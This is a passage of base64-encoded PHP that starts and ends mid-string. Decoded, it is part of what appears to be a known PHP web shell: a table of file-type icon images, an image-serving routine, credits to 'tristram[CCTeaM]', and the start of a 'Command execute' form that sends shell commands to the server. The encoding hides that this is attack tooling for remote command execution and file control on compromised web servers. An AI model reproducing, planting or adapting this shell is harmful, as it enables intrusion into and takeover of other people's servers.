JleHRfbXAzIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFZQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3SUNBQVAvL0FBQUFBQUFBQUFOVSIuDQoiYUdyUzdpdUtRR3NZSXFwcDZRaVpSRFFXWUFJTFFRU0EyZzJvNFFvQVNIR3d2QmJBTjNHWDFxWEErcjFhQlFIUlpITUVEU1lDejNmYyIuDQoiSUd0R1Q4d0FVd2x0endXTldSVjNMRG54WU0xdWI2R25lRHdCQURzPSIsDQoiZXh0X2F2aSI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy80Q0FnTURBd1A4QUFBQUFBQUFBQUFBQUFBTk0iLg0KIldGclM3aXVLUUdzWUlxcHA2UWlaMUZGQUNZaWpCNFJNcWpiWTAxRHdXZzQ0Z0FzclA1UUZrMjRIdU9oT0RKd1NVL0loQllUY2p4ZTQiLg0KIlBZWEN5ZytWMmk0NFhlUm1TZllxc0doQUFnQTciLA0KImV4dF9jZ2kiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXdBTEFBQUFBQVFBQkFBaGdBQUFKdHFDSGQzZDdpTkdhK0hNdTdlcjlHaUM2K0lPT3U5Ii4NCiJEa0pBUHF5RlFxbC9OL0RsaHN5eWZlNjdBZi9TRlAvOGtmLzlsRDlFVHYvUEN2L2NRLy9lTnYvWElmL1pLUC9SRHYvYkxmL2NNYWg2Ii4NCiJMUFBZUnZ6Z1Irdmd4N3lWTXYvbFV2L21Udi9mT2YvTUF2L21jZi9OQS8vcWlmL01BUC9URmYveHA3dVpWZi9XSVAvT0JxdC9Idi9TIi4NCiJFdi9oUCs3T09QL1dIdi93YkhOZlA0VnpWN3VQRnYvcFYvL3JYZi95Y2YvemR2LzBlVU5KV0VOS1dzeWtJazlSV015dFAvLzRpRXBRIi4NCiJYdi85cWZicHRQL3VaOTNHaU5xNlhXcFJKLy9pUXY3d3NxdUVRdi9qUkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnRXlDZzB3QmhJZUhBWXFJakFFd2hveUVBUVFYQkpDUmhRTXVBNWVTaW9vR0l3YWZpNFVNIi4NCiJCYWdORkJNY0RSNEZRd3dCQWdFR1NCQkVGU3d4TmhBeUdnNldBa3dDQkFndkZpVWlPQkVnTlVjN3c0SUNORDhQS0NGQU9pMEpQTktEIi4NCiJBa1VuR1RrUk53TVMzNE1CSkJnZFJrSkxDRDdxZ2dFUEt4c0pLaVlUQndlSmtqaFFrazdBaHhROUZxZ0xNR0JHa0c4S0ZDZzhKS0FpIi4NCiJSWXRNQWdFQU93PT0iLA0KImV4dF9jbWQiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQWNBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdBQUFnSUNBQVAvL0FBQUFBQU5JIi4NCiJlTHJjSnpES0NZZTkrQW9nQnZsZytHMmRTQVFBaXBJRDVYSkRJTSswek5KRmtkTDNEQmc2SG14V01FQUFoVmxQQmhnWWRyWWhEUUNOIi4NCiJkbXJZQU1uMW9ucS9ZS3BqdkVnQUFEcz0iLA0KImV4dF9jcHAiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5DIi4NCiJXTFBjOVhDQVNTY1o4TWxLaWNvYkJ3UmtFSWtWWVdxVDRGSUNvSjV2N2M2czNjcXJBcndpbkUvMzQ5RmlOb0Z3NDRydGxxaE9MNFJhIi4NCiJFcTdZckxERTdhNFNBRHM9IiwNCiJleHRfaW5pIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFZQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzhEQXdJQ0FnSUNBQVAvL0FBQUFBQUFBQUFOTCIuDQoiYUFyQjNpb2FOa0s5TU5iSHM2bEJLSW9Db0kxb1VKNE40RENxcVlCcHVNNmhxOFAzaHdvRWdVM21hd0VMQkVhUEZpQVVBTWdZeTNWTSIuDQoiU25FamdQVmFySEVIZ3JCNDNKdnN6c1FFQURzPSIsDQoiZXh0X2RpeiI9Pg0KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQVAvLy8xNXBoY2ZiNk5Mcy83UGMvK1AwLzNKK2w5YnMiLg0KIi81Mm51cWpLNS9uLy8vai8vLzcvLy9yLy8wdHJsc1BuLzhubi84blo1dHJtNzludS84L3EvOVh0Lzl6dy85M3cvK2oxLzlIci8rRHYiLg0KIi9kN3YvNzNIME1qVTM5enUvOWJyLzhuZTh0WG4rSzYvejhYai9MalY3ZERwLzZLNHk4YmwvNU80Mk96Mi83SFc5SnU5MnUvOS84VDMiLg0KIi8rTC8vKzcrLyt2Ni8rLzYvOUg0LytYNi8rWGw1UHovLysvdDdmWDA4dkQvLyszLy8vUC8vL0gvLy9QNy84bnEvOGZwLzhUbDk4enIiLg0KIi8rL3o5dlQ0KytuMS9iL2svZG55LzlIdi8rdjQvOS8wLzlmdy84L3UvOHZ0LysvMDl4VXZYaFF0VzRLVHMyVjFrdzRvVlRkWXBEWlgiLg0KInBWeHFobHhxaUV4a2ltS0J0TVBMMkZ0dmoyT1Y2YU91d3BxbHVseU4zY25PMXdBQVhRQUFaU004akU1WGpnQUFid0FBZVVSQllnQUEiLg0KImRBQUFkelpFYUU5d3dEWllwbVZ2aVI0OWpHMTJrQ2hGbWdZdWo2KzF4ZUxuN056ajZwbTIwb2VxeXBTMjEyU0pyYUN5eFpXeXo3UFciLg0KIjljL28vODduLzhEWDdNSFk3cS9LNUxmWDlhckIxc3JsLzIrZnpxMjkwVTE0cTdmQ3o2ZTJ5WHVtMzBGamxDbEhjNGVYcjZiSStiVEsiLg0KIjRyZlcrTlhlNk9ieS81U3Z6V1NIciticjhXdUtyUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBamdBQ3NKckRSSFNJQ0RRN0lNWERnSng4RXZadUljYlBCb29ad2JCd09NQWZNbVl3QkNBMnNFY05CakpDTVlBVExJT0xpb2tvY20iLg0KIkMxUXNrQUNsQ3hjR0JqN0VzTkhvUUFjaVNDQzFtTkFtakpnR0dFQlFvQkhpZ0tFTkJqaGNDQkFJelJvR0Zrd1FNTktueWdnUlNSQWciLg0KIjJCSHBEQlVlZXdSVjBQREhDcDRCU2dqdzBaR0h6SlFjRVZENElFSEp6WWtCZm80c2VZR2xEQndnVENBQVl2RkU0S0VCSllJNFVyUEYiLg0KIkN5SUlLK3dvWWpNd1FRSTZDb3I4bUtFbnhSMG5BaFlLakhKRlFZRUNrcVNrU2ExNjRJTTZMaExScnIzd3dhQkN1M2tQRktDbGRrQUEiLg0KIk93PT0iLA0KImV4dF9kb2MiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vOERBd0FBQS80Q0FnQUFBQUFBQUFBQUFBQU5SIi4NCiJXRXJjcnJDUVFDc2xRQTJ3T3dkWGtJRldOVkJBK25tZTRBWkN1b2xuUndrd0Y5UWdFT1BBRkcyMUErWjRzUUhPOTRyMWVKUlRKVm1xIi4NCiJNSU9yclBTV1daUmN6YTZrYW9sQkNPQjBXb3hSdWQwSkFEcz0iLA0KImV4dF9leGUiPT4NCiJSMGxHT0RsaEV3QU9BS0lBQUFBQUFQLy8vd0FBdmNiR3hvU0VoUC8vL3dBQUFBQUFBQ0g1QkFFQUFBVUFMQUFBQUFBVEFBNEFBQU03Ii4NCiJXTFRjVGlXU1FhdXRCRVExaFArZ2wyMVRLQVFBaW83UzhMeGFHOHgwUGJPY3JRZjR0TnU5d2E4V0hOS0tSbDRzbCt5OVlCdUFkRXF0Ii4NCiJ4aElBT3c9PSIsDQoiZXh0X2giPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5CIi4NCiJXTFBjOVhDQVNTY1o4TWxLQ2NBUlJ3VmtFQUtDSUJLbU5xVnJxN3dwYk1tYmJiT25yZ0k4RitxM3c5R09RT01RR1p5Sk9zcG5Na0tvIi4NCiJXcS9Oa25iYlNnQUFPdz09IiwNCiJleHRfaHBwIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFORiIuDQoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUFHQ0lBS0VxYUZxcGJabm1rNDIvZDQzeXJvS21MQURsUEJpczZMd0tOQUZqN2pmYVdWUiIuDQoiVXFVYWduYkxkWmErWUZjQ0FEcz0iLA0KImV4dF9odGFjY2VzcyI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVA4QUFQOEEvd0FBZ0lBQWdQLy9BQUFBQUFBQUFBTTYiLg0KIldFWFcvazZSQUdzam1Gb1lnTkJiRXdqREIyNWRHWnpWQ0tnc1I4TGhTbnByUFE0MDZwYWZta0R3VXVtSXZKQm9SQUFBbEV1REV3cEoiLg0KIkFBQTciLA0KImV4dF9odG1sIj0+DQoiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzJ0cm5NM1AvRkJWaHJQTzlsNkl0b3l0MHloZ2srWHkvV0dwNHNYbC9pNlo0bWZkL0hOeiIuDQoiYy8vLy95SDVCQUVBQUE4QUxBQUFBQUFUQUJBQUFBU1Q4TWwzcXExbTZubUMvNEdoYkZvWEpFTzFDQU5EU29jaUdrYkFDSGkyMFUzUCIuDQoiS0lGR0lqQVFPRFNpQldPNU5BeFJSbVRnZ0Rna21NN0U2aWlwSFpZS0JWTlFTQlNpa3VrU3dXNGp5bWN1cFlGZ0lCcUwvTUs4S0JEayIuDQoiQmt4MkJYV0RmWDhURERhRkRBMEtCQWQ5Zm5JS0hYWUlCSmdIQlFPSGNnK1ZDaWtWQTV3THBZZ2JCS3VyRHF5c254TU9zN1Mxc3hJUiIuDQoiQURzPSIsDQoiZXh0X2pwZyI9Pg0KIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBa0FMQUFBQUFBUUFCQUFnd0FBQVAvLy84REF3SUNBZ0lDQUFQOEFBQUQvQUlBQUFBQ0EiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJjY01oSms3MGo2SzNGdUZiR2JVTHdKY1VoamdIZ0FrVXFFZ0pORUVBZ3hFY2kiLg0KIkNpOEFMc0FMYVhDR0pLNW8xQUdTQnNJQWNBQmdqZ0NFd0FNRVhwMEJCTUxsL0E2eDVXWnRQZlEyZzYrMGo4VngrN2I0L05acWdmdGQiLg0KIkZ4RUFPdz09IiwNCiJleHRfanMiPT4NCiJSMGxHT0RkaEVBQVFBQ0lBQUN3QUFBQUFFQUFRQUlMLy8vOEFBQUNBZ0lEQXdNRC8vd0NBZ0FBQUFBQUFBQUFEVUNpNjNDRWd4aWJIIi4NCiJrMEFRc0cyMDBBUVVKQmdBb01paGo1ZG1JeG5NSnh0cXExZGRFMEVXT2hzRzE2bTlNb29BaVNXRW1UaXVDNFR3MkJCMEw4RmdJQWhzIi4NCiJhMDBBallZQmJjL285SGpObmlVQUFEcz0iLA0KImV4dF9sbmsiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRkFBTEFBQUFBQVFBQkFBaGdBQUFBQmlBR1BMTW1YTU0weS9KbGZGTEZTNksxckdMV2pPIi4NCiJOU211RlRXekdrQzVJRzNUT28vMVhFN0FKeDJvRDVYN1lvVHFVWXJ3VjMvbFRIVGFRWG5mUm1ER01ZWHJVaktRSHdBTUFHZk5SSHppIi4NCiJVd3c1Q0FBcUFET1pHa2FzTFhMWVFnaElCQk4zRFZHMk5XblBSbkRXUndCT0FCNXdGUUJCQUFBK0FGRzNOQWs1QlNHSEVVcXdNQUJrIi4NCiJBQUFnQUFBd0FBQmZBRGUwR3hlTEN4WmNERUs2SVV1eEtGakZMRTNBSjJISE1SS2lDUVdDQWdCbUFCcHREZytIQ0JaZURBcUZCV0RHIi4NCiJNeW1VRlFwV0JqMmZKaGR2RFFoT0JDNlhGM2ZkUjBPNklSMk9Ed0FaQUhQWlFDU1JFZ0FTQURhWEh3QUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZVpnRkJRUEFHRmhvY0Fnb0k3T2c4SkNnc0VCUUlXUFFDSmdrQ09rSktVUDVlWVVENlBrWk01Ii4NCiJOS0NLVURNeU5UZzNBZ2cyUzVlcVVFcEpEZ2NEQ0F4TVQwNmhnazI2dkF3VUZVaER0WXBDdXdaQnlCTVJSTXlDUndNR1JrVWcweElmIi4NCiIxbEFlQmlFQUdSZ1hFZzB0NFN3cm9DWWxEUkFuNFNtcEtDb1FKQy9ocVZBdU5Hemc4RTlSS0JFallCUzBKU2hHaDRVTW9ZQVNCaVVRIi4NCiJBRHM9IiwNCiJleHRfbG9nIj0+DQoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJBQWcvLy8vd0FBQU1EQXdJQ0FnSUNBQUFBQWdBQUEvLy8vQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlFFS0V3SzZVeUJ6QzQ3NWdFQWx0SmtsTFJBV3piQ2xSaHJLNEx5NXlnNy93TiIuDQoiekxVYUxHQlFCVjJFZ0ZMVjR4RU9TU1d0OWdRUUJwUnBxeG9WTmFQS2tGYjVFaC9MbVVHekY1cUUzK0VNSWdJQU93PT0iLA0KImV4dF9waHAiPT4NCiJSMGxHT0RsaEVBQVFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVFBQkFBZ0FBQUFBQUFBQUltREE2aHk1clcwSEdvc2Zmc2RUcHF2RmxnIi4NCiJ0MGhreVozUTZxbG9aN0ppbW9tVkViK3VYQUFBT3c9PSIsDQoiZXh0X3BsIj0+DQoiUjBsR09EbGhGQUFVQUtML0FQLzQvOERBd0g5L0FQLzRBTCsvdndBQUFBQUFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVVBQlFBUUFNbyIuDQoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLA0KImV4dF9zd2YiPT4NCiJSMGxHT0RsaEZBQVVBTVFSQVArY25QOVNVczRBQVArY0FQL09BSVFBQVA5akFNNWpuTTZjWTg2Y25LWE85OGJleHB3QUFQOHhBUC9PIi4NCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4NCiJHQmdhVDJnTVFZZ1ZqVWZTVDNZb0ZHS0JSZ0JxUGpnWURFRnhYUnBER0VJQTR4QVFRTlIxTkhvTUVBQUNBQkZoSXo4ckNuY01BR2dDIi4NCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLA0KImV4dF90YXIiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXNBTEFBQUFBQVFBQkFBaGdBQUFCbE9BRmdkQUZBQUFJWUNVd0E4WndBOFo5RFk0SklDIi4NCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4NCiJIZ0JZcHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1tL3dBNFhoVkRBQUdEIi4NCiJVeVdkLzBpdC8xdTEvM056QVA5NTBQOTkwbU81Lzd2MTRZenZ6WExyd29YSS81dlMvN0RrL3dCWG92OXN5dlJqd09oYXRRQ0hWMTdwIi4NCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4NCiJHd2lwcXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09sU1JzY0hEd2VIa01kIi4NCiJIVWNNcjdHekJ1Zm82QXk4N0x1K2lpMGZBZlAwOUF2SUVSOFpOamM0UVNVbVRvZ1lzY0JhQWlWRmtDaFl5QkNJaXdYa1pEMm9SM0ZCIi4NCiJ1NHRMQWdFQU93PT0iLA0KImV4dF90eHQiPT4NCiJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIi4NCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4NCiJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLA0KImV4dF93cmkiPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4NCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsDQoiZXh0X3htbCI9Pg0KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLg0KImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLg0KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLg0KIklRQTciDQopOw0KIC8vRm9yIHNpbXBsZSBzaXplLSBhbmQgc3BlZWQtb3B0aW1pemF0aW9uLg0KICRpbWdlcXVhbHMgPSBhcnJheSgNCiAgImV4dF90YXIiPT5hcnJheSgiZXh0X3RhciIsImV4dF9yMDAiLCJleHRfYWNlIiwiZXh0X2FyaiIsImV4dF9ieiIsImV4dF9iejIiLCJleHRfdGJ6IiwiZXh0X3RiejIiLCJleHRfdGd6IiwiZXh0X3V1IiwiZXh0X3h4ZSIsImV4dF96aXAiLCJleHRfY2FiIiwiZXh0X2d6IiwiZXh0X2lzbyIsImV4dF9saGEiLCJleHRfbHpoIiwiZXh0X3BiayIsImV4dF9yYXIiLCJleHRfdXVmIiksDQogICJleHRfcGhwIj0+YXJyYXkoImV4dF9waHAiLCJleHRfcGhwMyIsImV4dF9waHA0IiwiZXh0X3BocDUiLCJleHRfcGh0bWwiLCJleHRfc2h0bWwiLCJleHRfaHRtIiksDQogICJleHRfanBnIj0+YXJyYXkoImV4dF9qcGciLCJleHRfZ2lmIiwiZXh0X3BuZyIsImV4dF9qcGVnIiwiZXh0X2pmaWYiLCJleHRfanBlIiwiZXh0X2JtcCIsImV4dF9pY28iLCJleHRfdGlmIiwidGlmZiIpLA0KICAiZXh0X2h0bWwiPT5hcnJheSgiZXh0X2h0bWwiLCJleHRfaHRtIiksDQogICJleHRfYXZpIj0+YXJyYXkoImV4dF9hdmkiLCJleHRfbW92IiwiZXh0X212aSIsImV4dF9tcGciLCJleHRfbXBlZyIsImV4dF93bXYiLCJleHRfcm0iKSwNCiAgImV4dF9sbmsiPT5hcnJheSgiZXh0X2xuayIsImV4dF91cmwiKSwNCiAgImV4dF9pbmkiPT5hcnJheSgiZXh0X2luaSIsImV4dF9jc3MiLCJleHRfaW5mIiksDQogICJleHRfZG9jIj0+YXJyYXkoImV4dF9kb2MiLCJleHRfZG90IiksDQogICJleHRfanMiPT5hcnJheSgiZXh0X2pzIiwiZXh0X3ZicyIpLA0KICAiZXh0X2NtZCI9PmFycmF5KCJleHRfY21kIiwiZXh0X2JhdCIsImV4dF9waWYiKSwNCiAgImV4dF93cmkiPT5hcnJheSgiZXh0X3dyaSIsImV4dF9ydGYiKSwNCiAgImV4dF9zd2YiPT5hcnJheSgiZXh0X3N3ZiIsImV4dF9mbGEiKSwNCiAgImV4dF9tcDMiPT5hcnJheSgiZXh0X21wMyIsImV4dF9hdSIsImV4dF9taWRpIiwiZXh0X21pZCIpLA0KICAiZXh0X2h0YWNjZXNzIj0+YXJyYXkoImV4dF9odGFjY2VzcyIsImV4dF9odHBhc3N3ZCIsImV4dF9odCIsImV4dF9odGEiLCJleHRfc28iKQ0KICk7DQogaWYgKCEkZ2V0YWxsKQ0KIHsNCiAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpOw0KICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHB1YmxpYyIpOw0KICBoZWFkZXIoIkV4cGlyZXM6ICIuZGF0ZSgiciIsbWt0aW1lKDAsMCwwLDEsMSwyMDMwKSkpOw0KICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOw0KICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZGF0ZSgiciIsZmlsZW10aW1lKF9fRklMRV9fKSkpOw0KICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRpbWcsJHYpKSB7JGltZyA9ICRrOyBicmVhazt9fQ0KICBpZiAoZW1wdHkoJGltYWdlc1skaW1nXSkpIHskaW1nID0gInNtYWxsX3VuayI7fQ0KICBpZiAoaW5fYXJyYXkoJGltZywkZXh0X3RhcikpIHskaW1nID0gImV4dF90YXIiO30NCiAgZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pOw0KIH0NCiBlbHNlDQogew0KICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0NCiAgbmF0c29ydCgkaW1hZ2VzKTsNCiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOw0KICBlY2hvICAiPGNlbnRlcj4iOw0KICBmb3JlYWNoICgkayBhcyAkdSkge2VjaG8gJHUuIjo8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPSIuJHUuIlwiIGJvcmRlcj1cIjFcIj48YnI+Ijt9DQogIGVjaG8gIjwvY2VudGVyPiI7DQogfQ0KIGV4aXQ7DQp9DQppZiAoJGFjdCA9PSAiYWJvdXQiKSB7ZWNobyAiPGNlbnRlcj48Yj5DcmVkaXRzOjxicj5JZGVhLCBsZWFkaW5nIGFuZCBjb2RpbmcgYnkgdHJpc3RyYW1bQ0NUZWFNXS48YnI+QmV0YS10ZXN0aW5nIGFuZCBzb21lIHRpcHMgLSBOdWtMZW9OIFtBblRpU2hAUmUgdEVhTV0uPGJyPlRoYW5rcyBhbGwgd2hvIHJlcG9ydCBidWdzLjxicj5BbGwgYnVncyBzZW5kIHRvIHRyaXN0cmFtJ3MgSUNRICM2NTY1NTUgPGEgaHJlZj1cImh0dHA6Ly93d3AuaWNxLmNvbS9zY3JpcHRzL2NvbnRhY3QuZGxsP21zZ3RvPTY1NjU1NVwiPjxpbWcgc3JjPVwiaHR0cDovL3d3cC5pY3EuY29tL3NjcmlwdHMvb25saW5lLmRsbD9pY3E9NjU2NTU1JmltZz01XCIgYm9yZGVyPTAgYWxpZ249YWJzbWlkZGxlPjwvYT4uPC9iPiI7fQ0KPz4NCjwvdGQ+PC90cj48L3RhYmxlPjxhIGJvb2ttYXJrPSJtaW5pcGFuZWwiPjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPg0KPHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHAgYWxpZ249ImNlbnRlciI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+Q29tbWFuZCBleGVjdXRlPC9iPjwvYT4gOjo8L2I+PC9wPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj5FbnRlcjogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iNTAiIHZhbHVlP